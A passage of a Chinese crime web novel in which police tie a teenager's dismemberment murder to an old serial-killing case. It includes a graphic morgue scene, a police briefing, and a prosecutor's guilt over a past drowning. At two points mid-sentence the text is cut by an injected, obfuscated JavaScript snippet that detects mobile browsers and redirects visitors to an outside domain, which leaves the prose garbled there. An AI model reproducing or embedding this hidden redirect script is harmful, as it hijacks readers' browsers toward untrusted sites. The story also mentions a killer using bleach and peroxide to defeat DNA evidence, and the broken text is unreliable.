“在我的要求下,学校对那三个同学都做了处分。这三个同学和他们的家长肯定是记恨长乐的。但他们品行虽然不端,胆子却不大。九成九做不出杀人碎尸的事。” “还有一件我觉得很蹊跷的事。长乐从家里离开之前,跟家里的阿姨说他是去见朋友了。他不是个会撒谎的孩子。而以我对他的了解,他没什么太要好的朋友,同龄人中,他只和他喜欢的那位女同学关系亲近些。” “于是昨天,我向老师要了那位女同学的家庭住址,找了过去。结果不仅没有找到长乐的影子,一家人似乎都不在家。那女孩和老师请假时说的理由是父亲病了,但我去镇上的医院问过,医院说他们没收诊过符合我描述的患者。” 瞿春光点点头,又问:“沈检,你和长乐是什么关系啊?惠民街道派出所的同志跟我说你自称是他远房叔叔,这个……” “……不是。长乐是我救命恩人的儿子,十几年前,我表弟在我老家跳河自杀,我为了救他也下了水,结果也溺水了。长乐爸爸下河把我救了上来,自己却溺亡了。” “啊,这样,”瞿春光十分意外,有些尴尬地说:“抱歉。” “长乐最近有什么反常的地方吗?” 沈灵均摇摇头,看向戚玉衡:“我们不一起住。我对这个孩子……算不上太了解。” 戚玉衡努力回想着:“……一切都很正常,都很好……和平常都是一样的。因为这次月考考得好,他比以前更努力,学习劲头更足……这算是反常吗?” 做完笔录后,沈灵均给杜菲打了个电话,问她要不要来公安局看长乐一眼。戚玉衡听到电话里传来了哭声。但杜菲最后没有说要来。她说她女儿今天情况不好,身边离不开人,就不来了。 挂断电话,沈灵均问戚玉衡道:“玉衡,我想去看看长乐,你要一起吗?” 戚玉衡立刻点了点头。 “你确定?你要做好心理准备。刚才你也听瞿队说了,长乐他已经……面目全非了。” “要去,我要去。” 把他们引到法医室的人是乔瑜。走到法医室门口,乔瑜回头看向二人,脸上有些不赞同:“……你们真要进去看?对普通人来说,这个场面还是……挺有冲击力的,”乔瑜的目光落在戚玉衡身上:“沈检办案的时候应该是没少看现场图片,但是你……还是考虑考虑吧。” 沈灵均也道:“是啊,玉衡,你要不再考虑考虑。” 戚玉衡很坚定地道:“……我想去。” 乔瑜没有再劝,推开了法医室的门。 李长乐就躺在法医室最中央的操作台上,远远看去,他还有一个完整的人形。但走到近前就能发现,他的身体已然支离破碎,尸块的断口处露着红红白白的血肉骨骼,他的内脏似乎被特意分离了出来,被法医拢成了一个肉堆,戚玉衡从中辨认出了他的心脏。 戚玉衡的视线从下往上移,最终落在李长乐的脸上——那里什么也没有了。 李长乐的头被砸了个稀巴烂,像是个碎了瓤的西瓜,如果不是它摆放的位置,戚玉衡怎么也不会认为那是颗头——是李长乐的头。 戚玉衡胃一下子缩紧了,他本能地偏过身,开始干呕。乔瑜立刻往他手里塞了一个塑料袋,他顾不上道谢,对着塑料袋呕了几次,但他只吐出来几口酸水。他上一次吃饭还是在早上,胃里早就空了。 生理性的眼泪和他哭出来的眼泪混在一处,让戚玉衡尝到了咸涩的滋味。悲痛和愤怒一起吞没了他——而他居然不觉得这感觉陌生——同样的悲痛同样的愤怒,他在十几年前便已经体味过一次。 明明几天前长乐还好好的……上次上课,长乐还在跟他说志愿的事,那么生动鲜活的一个孩子……现在却躺在这里,变成一堆血淋淋的肉块,像是被屠夫解过的猪。 乔瑜低声道:“沈检……你们回吧。别看了。” “玉衡,”沈灵均突然叫了一声戚玉衡的名字:“你说,人真的会‘泉下有知’吗?人死之后,会在地府与之前逝去的亲友相见吗?” 戚玉衡转过头去看他,发现沈灵均垂着眼看着李长乐的遗体,面容沉静,看不出如何哀痛。但戚玉衡知道,做笔录时那只覆盖在他手上的手,一直在怎样地颤抖。 不等戚玉衡回答,沈灵均就接着道:“我一直不信这些。现在想,最好是真的不会的好。不然,我死的时候,九泉之下,真是无颜面对他们父子俩了。” 54.第 54 章 离开法医室后,沈灵均问乔瑜道:“乔警官,一会你们的案情简报会,我能去听吗?” 乔瑜微微皱眉,表情有些为难:“这个……” 沈灵均道:“我不会干涉你们警方的侦查方向的,我只是想更多地了解一下关于当年3.18案的信息。毕竟,从目前的情况来看,长乐的案子与3.18案有很多的相似之处。” “我明白你的意思,但是这件事我决定不了,我得去问我们领导。” 随后,乔瑜便将这件事报告给了程时新。程时新犹豫了一会,说:“沈检想听就听吧,正好,会议前半程的重点就是介绍3.18案的基本情况,他作为被害人实质意义上的监护人,听听也没什么。” “……好。” 乔瑜转身就要走,但程时新开口叫住了他:“小乔,我听说,那个被害人的家教,是小戚?他今天也来了。” 乔瑜点点头。 “哦……你们现在,还有联系吗?” “没什么联系。他都是直接把钱打到我奶奶的卡上。” 程时新再一次哦了一声,几次欲言又止。但他最后只是道:“那你回吧,马上要开会了。” 程时新没能说出口的那些话,乔瑜心里大致有个数——程时新很喜欢戚玉衡,十二年前,他就极力想缓和他与戚玉衡之间的关系。 这份心,到现在应该也没有变。 将沈灵均和戚玉衡二人安置在会议室的角落里,乔瑜便坐到了薛青霜旁边。薛青霜往他过来的方向看了一眼,问:“沈检想来听简报?他旁边那个小帅哥是谁?也是被害人家属吗?” 乔瑜拿出笔记本:“被害人的家教。被害人父亲去世了,母亲早已再婚,平时和爷爷奶奶一起生活。但他爷爷痴呆奶奶瘫痪,生活中和他相处最多的人是他的家教和保姆。他的家教和他感情很深。” 薛青霜的视线在戚玉衡身上流连了一会:“原来如此。唉……苦命的娃儿哦。” 收回目光后,薛青霜微微扬起下巴,朝前方示意着:“瞧瞧,我这辈子第一次见这么多白衬衫。好大的阵仗。” 确实。会议室桌边坐了一水的领导,个个肩上都扛着穗。他和薛青霜这种二毛一的,是整个会议室里警衔最低的——由于会议室位置有限,他们队的一些年轻警察甚至没有参加这次会议的资格。不过,局里会摆出这种阵仗也不奇怪:3.18连环杀人案是轰动全国的大案,但他们容州警方却一直没能查出个结果。自08年后,凶手再也没有犯过案,在很多容州警察的心目中,这个案子已经成了一桩再难有结果的悬案。 谁能想到,十五年之后,又会出现一件犯罪手法高度相似的案子呢?是凶手再一次出手了吗? 薛青霜小声问道:“我听瞿队说,这次的被害人,成绩比较一般?这和之前的被害人情况不一样啊。你觉得凶手会是一个人吗?还是,只是巧合?” 乔瑜摇摇头:“我觉得不太可能是巧合,因为……” 这个时候,程时新与景南省公安厅厅长孟宽、副厅长曾国源一同走了进来。 乔瑜和薛青霜连忙站起身:“……厅长。” 孟宽在主位坐下后,道:“都坐,都坐。” 等会议室的众人都落座后,孟宽调整了一下麦克风,说:“在座很多同志都是临时从各分局、各派出所抽调上来的,可能还不清楚到底发生了什么事。但我相信,无论在座的各位原本供职于哪个单位,无论各位是否是容州人,但既然大家现在都在容州公安系统工作,那对容州3.18连环杀人案应该都不陌生。” “今天早上,我们接到群众报案,有人在龙坡区七星镇德宝村的垃圾集中回收点弃尸,在初步侦查后,市局的同志们认为,此案与3.18案的作案手法十分相似,”孟宽看向程时新:“程局几乎全程参与了3.18案的侦破工作。之后就让程局来给大家介绍这个案子吧。” 程时新道:“从05年成立专案组开始,到10年专案组解散,我一直是专案组的成员。对3.18案比较了解……其实,每次说起这个案子,我心里都觉得很惭愧,”程时新苦笑一声:“查了五年,没查出来任何结果。” 程时新按了一下手中的电子笔,会议室幕布上的场景登时变幻:“这个案子的首案发生在05年3.18号,报案人是大饶区垃圾焚烧厂的员工。他是在分拣垃圾的时候注意到尸体的,被害人的尸体被肢解,用两个超大号的黑色垃圾袋装了起来。那个员工当时想把这两个大垃圾袋提起来,没想到垃圾袋的重量超乎他的想象,他一下没能提起来。他于是对垃圾袋里面装的东西产生了好奇,就把垃圾袋扯坏了。” “因为垃圾袋里除了被害人的尸体之外没有任何东西,被害人的面部也被毁损得很严重,所以当时我们花了很长时间才确认被害人的身份。” 幕布上出现了一张俊秀的证件照:“被害人卢川,被害前一周刚刚过了十八岁的生日。是市一中的学生,长期保持着年级前三名的成绩,在被害之前最后一次全市模考中,他拿了第一,是当年景南高考理科状元的有力竞争者。3月16日,他在下晚自习回家的路上失踪。” “他是高三生,人际关系很简单。他在班级里是班长,和同学们的关系都相处得不错,人缘很好,也很得老师们的喜欢和看重,没和任何人结过仇。我们也排查了他父母的人际关系……也没找到可疑的人。” “这个嫌疑人作案非常谨慎,我们没有从被害人的尸体上找到任何生物证据,也没有从尸体上、包裹尸体的垃圾袋上提取到任何指纹。作为弃尸地点的垃圾焚烧厂位于郊区农村,附近垃圾堆积如山,根本无法提取脚印等痕迹证据,周边四公里内都没有监控,我们也没找到任何视频证据。这个案子就这么陷入了僵局。” “05年的9月,在首案发生的半年后,凶手再一次作案了。” “05年9月24日,我们接到应台区阳仙镇陆家庄的村民报案,说村里浮着碎尸……那天也是个跟今天差不多的天气……不对,那个时候刮的台风是个很厉害的风球,我记得,路边的小树都被刮断不少。凶手应该是将尸块抛到了陆家庄附近,但大雨导致陆家庄严重内涝,雨水将装尸块的袋子冲开了,让尸块浮在了水面上。” “因为这个情况,我们无法确认弃尸现场,但据我们推测,凶手很可能抛尸在了陆家庄的一家废品回收站中。第二位被害人名叫邱飞剑,被害当时不满十八岁,是市十中的学生,常年保持在全校前十名的成绩……他是家里的独子,少年丧父,母亲一个人含辛茹苦地把他养大,眼看着要考学了,却……” 程时新说到这,顿了良久,才继续说道:“这个案子的作案手法和卢川的案子高度相似,二人的死因都是钝器击打头部致死,同样是被剥光了后、用锯子与刀碎尸,尸块都是用黑色垃圾袋包裹。” “而两位被害人之间也存在很多相同点:都是男高中生,成绩都非常优秀。所以在确认邱飞剑的身份之后,我们就决定将这两个案子并案侦查……但是,没有线索。和卢川的案子一样,凶手没留下任何生物证据,痕迹证据、视频证据……都没有。” “之后,又过了差不多半年,06年2月2日,我们又接到了报案。报案人是丰山区广兰镇一家养猪场的老板,他平常经常来容州城区收潲水来喂猪。2号早上他来猪场喂猪的时候,发现猪场内的两个潲水桶里各泡着一个黑色垃圾袋,一拿出来……” 说到这,程时新凝望着幕布上那张年轻英气的脸,长出一口气:“被害人李令杰,被害时十八岁,他家境贫寒,母亲是环卫工,父亲患有小儿麻痹,腿部残疾,没有劳动能力,靠摆小摊赚钱。李令杰是个非常懂事的孩子,为了减轻家里的负担,他在过年的时候去公园里卖糖葫芦……结果被人害死在大年初四。” “……” “……” “凶手第八次,也是他最后一次犯案,是在08年4月。08年4月6日,我们接到迁宁区有机垃圾生化处理站的报案,说在他们处理站发现了尸块。被害人高广平,容州大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005435|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学附属高中的学生,和之前七起案子一样,被害人是成绩优异的好学生,被肢解后抛尸,抛尸地点位于郊区,没有留下任何线索。之后,他就销声匿迹,再也没有犯过案了。” “对这个嫌疑人,我们专案组有以下几个推测:第一,是强壮、有力的男人。被害的八位男高生都是十七八岁的年纪,他们可能并没有发育到男性最强壮的时候,但也绝对不是手无缚鸡之力的人,尤其是第六位被害人邵恒,他不仅学习成绩好,还热爱运动,是校篮球队的队长,遇害时身高185,体重90公斤,身体非常健壮。就算手里有武器,如果不对自己的身体素质有一定的自信,也不会选择袭击这样的人。” “第二,有车,有一定经济实力。凶手弃尸的这八个地点,集中于容州经济相对不发达、城市化程度低、人口相对稀疏的五个区,位置都相当偏僻,点与点之间的距离相当远。凶手的活动范围非常大,如果没有车的话,很难覆盖如此大的活动面积。毕竟,如果拿着大垃圾袋、大行李袋乘坐公共交通或是出租车,很显眼,我们警方也不至于找不到线索。而且,如果凶手没有车,他也没办法轻易地绑架、转移被害人。要知道,05年容州的私家车数量不过124万辆,是现在容州私家车数量的四分之一,在那个时候,凶手有一辆自己的车,经济实力一定不俗。” “第三,他仇恨优秀的男高中生。他杀害的全都是成绩优秀、前途光明的男高中生,一直都是非常有针对性的针对这个群体作案,他很可能与这个群体产生过矛盾。” “第四,这个人非常变态,但智商颇高、学识丰富,学习能力、反侦察能力都很强。他的杀人手法在他的不断犯案中变得越来越成熟,他也变得越来越谨慎。在卢川案中,他的分尸手法还比较……”程时新在这个措辞上犹豫良久,“稚嫩。基本上是按照从头到脚的顺序来分尸的——卢川头颈部离断的伤口很新鲜,但是脚腕处的离断伤口就完全没有生活反应了,没有什么规律可言。” “到第二位被害人邱飞剑的时候,他的分尸手法就变了。他开始调整了,他开始有意地从关节处碎尸。从第二位、第三位、第四位被害人的尸体情况上,能观察出他分尸手法不断进化的痕迹。到第五位被害人宋望舒,他的分尸手法已经完全成熟,变得更省力、省时了。” “从第三位被害人开始,被害人身上都会带有一点刺激性气味。我们的技术人员从被害人身上提取到了一些化学物质,经过检验,这些化学物质中含有次氯酸钠和过氧化氢……凶手在被害人身上涂抹化学溶液,以防自己在被害人身上留下DNA痕迹。他在不断地进化,不断地调整自己的犯罪手法。” “这就是3.18案的主要情况了,”程时新看向瞿春光:“接下来,就让刑侦支队的瞿队介绍一下今天这个案子的情况吧。” 瞿春光介绍完案情后,孟宽道:“大家不用拘束,畅所欲言。对这个案子有什么想法,都可以说。” 薛青霜最先举起手。在孟宽点头后,她道:“李长乐这个被害人的情况与之前八位被害人情况都有些不一样啊,他的成绩十分普通。凶手一直把成绩优秀作为筛选被害人的重要条件之一,如果凶手是一个人的话,他为什么突然变换了筛选目标的条件?会不会,这其实就是一起普通的凶杀案,只是使用了一些……猎奇的手段?这些手段意在掩盖被害人的身份?” 刑侦支队的副队长邓宇星反驳道:“我觉得不太可能。因为3.18案备受关注,关于这个案子的各种真假信息可以说是全网满天飞,但即便如此,这个案子还有一些细节是普通民众绝对无法了解的。比如民众们可能知道被害人被分尸了,但是不可能知道凶手所用的刀法。但今天发现的这具尸体,凶手所用的分尸手法和3.18案凶手最后的分尸手法可以说是完全一致。都是先掏出内脏,然后分割……” 坐在他身边的瞿春光轻轻撞了一下他的胳膊。 邓宇星这时反应过来,看向会议室的角落。乔瑜也回过头去:那两个位置已经没有人了。 55.第 55 章 看沈灵均二人已经离开,邓宇星回过头,继续说着:“……呃,总之,虽然这个案子对外披露的信息比较多,但是想把凶手的手法模仿到分毫不差,几乎是不可能的。我倾向于,这个案子,就是3.18案的凶手本人、或是与凶手有关系的人作案。” 应台区公安局局长季雪松道:“但是就像刚才这位女同志所说,被害人的成绩是3.18案凶手筛选目标的重要条件之一,他对成绩好的优秀学生——确切地说,是优秀的男学生,抱有强烈的仇恨。凶手为什么会选择杀害成绩平平的李长乐呢?” 迁宁区公安局局长章铁道:“我同意季局的看法。李长乐这个案子,不符合凶手之前的作案逻辑。这个案子很有可能是一件独立的案子,我们不能排除仇杀的可能。李长乐虽然是个高中生,但他和沈检关系很密切啊。检察官也是个得罪人的工作啊。三年前,沈检被刺的案子也轰动一时。沈检为人又刚正,很可能是和他有仇的人因仇杀人。” 瞿春光反对道:“那他模仿3.18案的手法作案,也太不明智了。3.18案在容州可谓是家喻户晓,在全国范围内也是件相当轰动的刑案,网上隔三岔五就要把这件案子翻出来说道说道。凶手用这种手法,是生怕我们警察不用心查这个案子吗?他就不怕祸水东引不成功,反而引火烧身吗?” 曾国源说:“按照被害人家属所说,被害人离开家时,所用的理由是去见朋友。而最可能是这个朋友的人,现在全家人都不见踪影。这件事确认过了吗?如果把3.18案彻底抛开,用常规的思维去思考这个案子,被害人的朋友有重大的作案嫌疑。” 瞿春光答道:“我已经派人往那个女孩家里赶了,人应该马上就到了。” 曾国源点点头:“立刻安排人去调被害人的手机通话记录,社交软件的聊天记录,把他去见的这个朋友找出来。如果那个人真是沈检说的那个女同学,尽快确认他们一家人的去向。” 在自由讨论了一会后,孟宽出言道:“我发表一下我的意见。” 会议室立刻安静了下来。 “首先,我觉得这个案子,可以和3.18案并案侦查,”孟宽的视线从众人脸上扫过:“我知道,肯定有很多同志觉得这个案子可以独立侦办。但是,不可否认的是,这个案子与3.18案的作案手法高度相似,无论是凶手的分尸手法、还是抛尸地点的选择,都有着与3.18案一脉相承的风格。” “但是,并案侦查并不是要我们把思路全部局限在3.18案,一门心思在嫌疑人的心理画像上下功夫。我们还是要脚踏实地,先做被害人研究,先排查被害人的社会关系,确认将被害人约出去的那个人的身份。” “让技术部门确定被害人手机信号最后的出现地,把被害人最后的行动轨迹描清楚,被害人活动路线上的监控,一眼不错地看,”孟宽看向程时新,“成立一个专案组,程局你来任组长,不要怕人手不够,容州市内各分局的人手你尽可以抽,省厅的人,你瞧中哪个,也尽管开口,我立刻把人调来。” 孟宽的声音渐渐变得严肃起来:“十几年了,3.18案就像一块大石头一样,压在我们容州很多警察的心头。每一次,全国哪里有旧案积案破了,3.18案都会被翻出来说一说,每到这种时候,我的心里一边为兄弟单位开心,一边又觉得难过。心里堵得慌。我知道,咱们容州公安,在这个案子上不是没努力,不是没下苦功,但案子破不了,多少风言风语咱们都得受着。” “这一次,容州公安要上下一条心、拧成一股绳,好好把这个案子破了!把我们头上无能的帽子摘下来!” * 在警察们开始讨论侦查方向的时候,戚玉衡和沈灵均便很自觉的离开了会议室。 戚玉衡打开手机,发现何秀红给他发了几条语音,问他们有没有长乐的消息。听完这些语音,戚玉衡看向沈灵均:“沈检,长乐的事,肯定是瞒不了何姨的,警方明天应该就会去给何姨录口供。但是奶奶那边……要怎么办?” 沈灵均沉默了一会,道:“先瞒着吧。老太太刚从ICU出来没多久,现在告诉她这个消息,简直是把她往死路上逼了。咱们统一一下口径,就说……为了提高他的成绩,我给他报了一个封闭的名师集训班,他高考结束之后才能回家。” “好。” 二人一起回了李长乐家,将这个消息告诉了何秀红。 戚玉衡还没把话说完,何秀红就跺着脚低声痛哭起来:“怪我呀!那天下那么大的雨,时间又那么晚了,我为什么没有拦着他呢?我怎么就让他走了呢?” 戚玉衡一时间觉得喉头发哽,什么话也说不出来,抱着何秀红又哭了一场。 等二人收了眼泪,沈灵均道:“何姨,我不打算把长乐的事告诉爷爷奶奶。奶奶才刚刚从ICU出来不久,她要是知道了这个消息,我怕她承受不住。你就跟她说,我给长乐报了封闭集训班,高考完才能回家,”说到这,沈灵均苦笑一声:“但这个谎言应该也瞒不了奶奶多久,时间久了,奶奶肯定会想和长乐打电话,打视频……能瞒一时是一时吧。何姨,我知道你伤心,但你在奶奶面前要尽量控制情绪,不要露馅了。” 何秀红含着泪点了点头。 沈灵均细细交代着:“明天警察很有可能会上门,你不要让他们进门,免得让奶奶听出端倪……如果上门的警察说要拿长乐的个人物品,你尽管让他们拿,到时候就跟奶奶说……长乐去上培训班之前忘带了东西,我叫了跑腿来拿。” 离开李长乐家后,沈灵均问戚玉衡:“你要怎么回家?” “我住的地方离这没多远,走回去就可以了。你呢?打车吗?” 沈灵均点点头:“……但我们是一个方向。一起走走吧。” “……好。” 两个人沉默地走了一会,期间,戚玉衡几次去看沈灵均,发现他面色平淡,看不出一丝一毫悲伤的痕迹。 但沈灵均表现得越平静,戚玉衡心里便越害怕。 戚玉衡很清楚,沈灵均对李长乐的感情,比之他与何秀红对李长乐的感情,只多不少。他和何秀红尚且悲痛的难以自抑,沈灵均此时心里得有多难过?戚玉衡怕沈灵均把情绪都压在心里,最后把自己憋坏了。 戚玉衡迫切地想说些什么,打破二人间这凝固的、压抑的、难捱的沉默。就在戚玉衡绞尽脑汁措词的时候,沈灵均开口道:“玉衡,长乐的事,你是怎么想的?你觉得,杀他的凶手和3.18案的凶手是同一个人吗?” 戚玉衡想了想,说:“我不是警察,查案的事,我不懂,不敢断言。但是,3.18案的凶手之前一直针对的都是学习成绩非常优异的男高中生,说明他对这类人怀抱着特殊的情感:憎恨,或是嫉妒。而他们优异的成绩,大概率就是引起凶手负面情感的导火索。但是长乐的成绩很普通,照理来说,不应该成为3.18案凶手的目标才对。” 沈灵均点点头:“我也这样想。” “但我想不通。如果是单纯的仇杀,为什么要用和3.18案一样的手法来杀人呢?他们又是怎么得知3.18案隐秘的呢?长乐又是怎么招惹上这么穷凶极恶的人的呢?我想来想去,和长乐说得上有仇的人,只有那几个霸凌他的同学罢了。但那几个小混混我见过,就算再借他们十个胆子,他们也不敢杀人碎尸。” 沈灵均说到这,再度沉默下来。良久后,他道:“你说,会不会,是因为我,长乐才惹上这样一遭祸事?” 戚玉衡猛地转头看向他:“沈检,你说什么呢?!这件事跟你没有关系。” 沈灵均对他露出了一个很浅的笑:“我是认真的。长乐没什么仇人,我的仇人却不少。因为我是重案检察部的,接触到的大多数犯人……嗐,都不是什么好东西。他们的亲属、朋友中,不乏对我的量刑建议不满的人。这也是我当年会挨刀的原因。我在想,会不会是有人为了报复我,选择对长乐下手?” 戚玉衡脑子飞速运转:“我觉得不可能。你之前说过,知道你和长乐关系的人并不多,除了家人就是至交好友,凶手怎么可能知道你与长乐之间的关系?如果凶手是和你有仇,为什么要……要碎尸、还是用与3.18案同样的手法碎尸呢?长乐的那个样子……凶手要么和他有深仇大恨,要么是纯粹的心理变态。” “而且,一般人想寻仇,想报仇,喊打喊杀,都是直接奔着仇人去的。如果凶手真的和你有仇,大概率也会直接针对沈检你。绕一个大弯子,去杀一个和你没有血缘关系的孩子,不伤你身只伤你心,这实在不像是一般人会有的报仇思路。凶手怎么就敢肯定,你一定会为长乐的死伤心欲绝、肝肠寸断,让他一解心头之恨呢?” 听完他的话,沈灵均轻轻点着头:“……你说得有道理。我就是担心——我很——万一——” 沈灵均似乎一下子变得语无伦次起来。他垂着眼,密匝、乌浓的睫毛挡住了他的眼睛,戚玉衡于是再无法透过这扇窗去窥探他的内心。 “我——当年——十几年前,李大哥下葬的那一天,我在他坟前上香的时候,我在心里发誓,我会把他的孩子当做自己的孩子来疼爱、将他的父母当做我的父母一样来孝顺。但其实我没能做到。他们一家老小在安门的时候,过得并不好。我虽然每次放假都回去看他们,但那匆匆几眼,能看得到什么?直到他们被赶出家门、流落街头,走投无路求到我这里,我才知道他们的处境。” “我……我以为,带他们来容州,是件正确的事。毕竟,容州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024441|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教育条件好、医疗条件好,小的需要上学老的需要养老……容州房价高消费高,但我有钱,这些对于他们来说都不是障碍。但……我把长乐带过来了,却没把他保护好。我是不是……不该带他们来容州?” 戚玉衡语气恳切,再一次重复道:“沈检,长乐的死跟你没有关系!凶手大概率不是你的什么仇人,他杀人,是因为他自己道德败坏,与你无关啊。” 沈灵均低着头,像是忽然对自己的鞋起了兴趣:“我弟弟,我小表弟……是我小舅的儿子。我有两个姨妈,两个舅舅,大姨和大舅生活在老家安门,小姨和小舅生活在容州。因为同在容州的关系,我和我小姨家的表妹、小舅家的表弟,自小关系就比较好。” “我小表弟,从小就很听我的话,特别亲近我,我说什么他听什么,比他父母的话都管用。我小舅和我小舅妈都说,他是我的跟屁虫。到我上大学的时候,他也上初中了。但那个时候,他对我就没有以前亲近了,我大一那一年过年,他见到我都不愿意跟我讲话。我一开始只以为他是青春期,害羞了,叛逆了。” “但很快,我就发现,他对我的疏远,不单全是青春期到来的缘故。我小弟那个时候学习不大好,而我呢……恰巧学习不错。除夕夜那天,我小舅和舅妈一直在反反复复地对我小弟说,让他向我学习,不要贪玩,用功读书。我小弟那时候表情就……很不开心。我当时注意到他的情绪了。但我什么也没有做。只是随口劝了我小舅小舅妈几句……其实那时如果我多和他们聊聊,就可以了解到,他们当时的心理有多偏执。” “过了年之后,春天,五月份,我小弟忽然给我打了个电话。我当时在上课,没接到。我下课打回去的时候,电话是我舅妈接的,她说之前的电话是我弟弟玩手机不小心乱按出去的。我觉得很奇怪——那天是周二,我弟弟应该在上学啊,为什么会在家里玩手机?我舅妈说因为他生病了,在家养病。我当时就觉得她运气怪怪的……但我没深究。这件事就这么过去了。” “再然后……就是那个暑假。那年暑假,我刚回到家,我母亲就告诉我,说我弟弟疯了……物理意义上的疯了。我问她是怎么回事……她说,我弟弟从去年开始就沉迷电脑游戏,对我舅舅舅妈撒谎,嘴上说去同学家做作业,但其实是去网吧打游戏……我小舅打也打了骂也骂了,但都不管用。” “于是我小舅和小舅妈就做了一件昏了头的事。他把我弟弟送到那种……宣称是‘全封闭军事化管理’的学校去了,因为那个学校宣称可以戒网瘾,可以让孩子服管教……我舅舅后来说,他希望这个学校可以把我弟弟变成像我一样的……好孩子。” “那个学校的管教方式就是,虐待。身体上的虐待,精神上的虐待……有非常非常多的折磨人的方式。我弟弟就这么活生生的……被折磨疯了。他不再说话了,但经常尖叫、摔东西砸东西,偶尔还打人、咬人……在精神病院住几个月后,他瘦得皮包骨,一米七四的人只有不到九十斤,我外婆实在看不下去,把他接回了老家。” “我于是也跟着回了老家。他出事那天,我陪我外婆去集市上买东西。我外公去后院摘菜的功夫,他就跑出家门了。我回来的时候,正巧听见村里的人在喊,说是徐家的疯孩子跳河了。” “我就立刻跑过去……我自认水性还不错……当时也没有别的选择……就跳下去了。但现在想想,”沈灵均笑了一下,像是在嘲讽十九岁的自己:“那会年纪太小、太稚嫩了,把事情想得太简单了。其实我根本没有水中救人的知识与经验,只是普通的会游泳而已。我弟弟的衣服浸了水后,整个人变得非常重,完全不像是九十斤的人了,我根本拖不动他……他又一直在不断挣扎,根本不顺着我的力气往岸上游,甚至还努力地想挣开我的手。” “他是真的……很想死。我不知道那个时候他的神志是否清醒,但我很确定,当时,他是真的很想死。” “很快,我也没力气了。李大哥来救我,救上了我,他又再次下水……结果和我弟弟一起溺死在了河里。” 说到这,沈灵均终于抬起头,他看向戚玉衡:“我把这件事的前因后果复盘了无数遍,怎么想都觉得,这桩悲剧其实完全是可以避免的。如果我过年的时候多跟我小舅夫妻聊聊、如果我在接到我弟弟电话之后刨根问底一些,或是,如果我在发现我小弟跳河之后不要不自量力、在明白他的死志之后主动放弃……至少,李大哥不用死。” 沈灵均的眼睛里闪过一丝真切的迷茫:“为什么,我在每一个重要的环节,都做了错误的选择?” “如果李大哥没有死,他和杜菲应该不会分开,长乐会有个幸福的家庭,虽然可能会有点贫穷,但至少,但至少,还活着。他一定……一定不会死。” 56.第 56 章 说话间,二人已经走到了戚玉衡住的小区。 沈灵均对戚玉衡笑了笑:“这两天为了找长乐,你也辛苦了,谢谢你。回去好好休息。” 就在他准备转身离开的时候,戚玉衡一把拉住了他的胳膊,语速飞快地道:“沈检,你家庭条件好、自身条件更是优秀,人品好、长得好、工作好……在我看来,你是个非常完美的人。我找不到你的缺点。” “但是,就算是这样的你,也只是一个普通人。你没有超能力,没有千里眼,没有预知未来的能力,没有透视人心的能力。在我看来,你在你弟弟、在长乐的s……事上,完全不需要负任何责任。” “你弟弟跳进河里的时候,你在第一时间就奋不顾身地跳下去救他了,长乐,你尽可能地让他享受到了最好的教育,供养他们一家的生活,让他们衣食无忧……这世上有几个人能做到这种地步呢?这与你有多少钱没关系。这世上多得是家财万贯但品行低劣的人。” “你会这样愧疚,不是因为你什么地方有错,而是因为你责任感太强……真正做错事的人,是犯罪的人,是伤害长乐的人。沈检,看到、看到长乐那样的时候,我心里就在想,凶手是毫无人性的人,他并不会因为杀害长乐而愧疚、而后悔,他只会为自己的小聪明而得意,看着受害人家属的眼泪沾沾自喜。” “沈检,你自责,只会让他痛快。” 沈灵均看了他一会,点点头:“我明白你的意思。我会努力,不让仇人痛快的。” 沈灵均答应得很痛快,但他究竟能把这些话听进心里几分,戚玉衡并不确定。他自己尚难迈过长乐离世的这个槛,推己及人,沈灵均肯定更难跨出这一步。 目送着沈灵均打车离开,戚玉衡又在原地站了一会,才慢吞吞地走回了家。这一晚,戚玉衡一夜无眠。 第二天,天刚蒙蒙亮,戚玉衡便从床上爬了起来,去了家附近的一家网吧。整整一天,戚玉衡都泡在网吧里查有关“3.18连环杀人案”的资料。网上的资料纷繁复杂,但也正是如此,戚玉衡才对3.18案的轰动有了直观的了解。 民众们对3.18案有着各种各样的猜测:有人说,凶手可能是在高中时受到了优等生的霸凌,所以才会针对优等生进行犯罪;有人说,凶手很可能是个心理变态,喜欢“毁掉完美的东西”,成绩优秀的高三生是早上七八点钟的太阳,很容易引起人的破坏欲;还有人说,凶手可能是个养胃的、喜欢男高中生的同性恋,毕竟大多数连环杀人案都带有性色彩…… 又看完一个分析帖后,戚玉衡揉了揉眼睛,陷入了沉思:在他看来,3.18案的凶手对被害人明显怀有极负面的感情,或许是嫉妒、或许是憎恨,这不单体现在他杀人碎尸的手法上,还体现在他对于弃尸地点的选择上。八位被害人的尸体都是在废品回收站、垃圾处理站、养猪场、粪坑这类杂乱污秽的地点发现,戚玉衡不认为这是巧合。 而且,受害人的遗体都是用垃圾袋包装的——选择用垃圾袋装尸体,仅仅是出于方便吗? 